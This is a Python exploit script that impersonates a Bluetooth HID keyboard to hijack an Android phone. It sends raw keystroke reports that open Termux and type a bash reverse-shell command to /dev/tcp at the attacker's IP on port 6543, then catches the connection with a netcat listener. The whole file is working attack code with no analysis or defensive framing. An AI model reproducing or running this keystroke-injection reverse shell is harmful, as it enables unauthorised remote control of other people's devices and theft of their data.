#!/usr/bin/python3

# oxagast / Marshall Whittaker

import sys
import os
import time
import multiprocessing
from bthid import BluetoothHIDService
from dbus.mainloop.glib import DBusGMainLoop

pcmacaddr = sys.argv[1]
phmacaddr = sys.argv[2]
pcipaddr = sys.argv[3]

def macr(send_call_back):
  def home_scr():
    for _ in range(2):
      kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))
      time.sleep(0.3)
      kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))

  def find_scr():
    for _ in range(5):
      kstate = bytearray([0xA1, 0x01, 0x08, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))
      time.sleep(0.5)
      kstate = bytearray([0xA1, 0x01, 0x08, 0x00, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))

  def kbtab():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def kbreturn():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def go_back():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def kbdown():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def kbright():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def drop_menu():
    kstate = bytearray([0xA1, 0x01, 0x08, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def my_files():
    find_scr()
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def termux():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))


  def shellcode():
    time.sleep(5)
    waitforshell()
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00])  # b
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00])  # a
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00])  # s
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00])  # h
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00]) # -
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00]) # i
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00]) # >
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00]) # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00]) # d
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00]) # e
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00]) # v
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00]) # t
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00]) # c
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00]) # p
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    ipaddr()   # this function turns the ip address entered into keycodes
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00]) # 6
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00]) # 5
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00]) # 4
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00]) # 3
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00]) # 0
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00]) # >
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00]) # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00]) # 1
    send_call_back(bytes(kstate))

  def nokey():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00]) # dummy key
    send_call_back(bytes(kstate))

  def caps():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
    send_call_back(bytes(kstate))

  def ipaddr():
    addr = pcipaddr
    for intchr in [*addr]:
      if intchr != "." and intchr != "0":
        decchr = int(intchr) + 30 - 1
        kstate = bytearray([0xA1, 0x01, 0x00, 0x00, decchr, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
        send_call_back(bytes(kstate))
        time.sleep(0.1)
      if intchr == ".":
        kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
        send_call_back(bytes(kstate))
        time.sleep(0.1)
      if intchr == "0":
        kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
        send_call_back(bytes(kstate))
        time.sleep(0.1)

  def waitforshell(): # this is so the netcat listener has time to start
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00])  # s
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00])  # l
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])  # e
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])  # nop
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])  # e
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00])  # p
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])  #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00])  # 4
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])  #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00])  # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])  # nop
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00])  # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])  #
    send_call_back(bytes(kstate))
    time.sleep(0.1)

  print("[!] Building shell...")
  print("[*] Trying to attain control over device...")
  print("[*] Sending back to home screen...")
  go_back()
  home_scr()
  time.sleep(1.2)
  print("[*] Trying to pull up finder...")
  find_scr()
  time.sleep(0.3)
  print("[*] Trying to find termux...")
  termux()
#  time.sleep(0.5)
#  kbtab()
  time.sleep(0.2)
  kbdown()
  time.sleep(0.2)
  kbreturn()
  time.sleep(0.2)
  kbreturn()
  time.sleep(0.2)
  kbreturn()
  print("[*] Pushing shellcode now...")
  for _ in range(4):
    caps()
    kbreturn()
    kbreturn()
    shellcode()
    print("[!] Back that big ass up guuuuuurl!")
    kbreturn()
    listen_ret = os.system("nc -l -p 6543 -v -w 10")
    if listen_ret == 0:
      break
    else:
      print("[*] Connect timed out, trying again...")
      time.sleep(1)

if __name__ == '__main__':
  DBusGMainLoop(set_as_default=True)
  srec = open("sdp_record_kbd.xml").read()
  try:
    bthid_srv = BluetoothHIDService(srec, pcmacaddr)
    macr(bthid_srv.send)
  finally:
    print("[x] Exploit complete!")
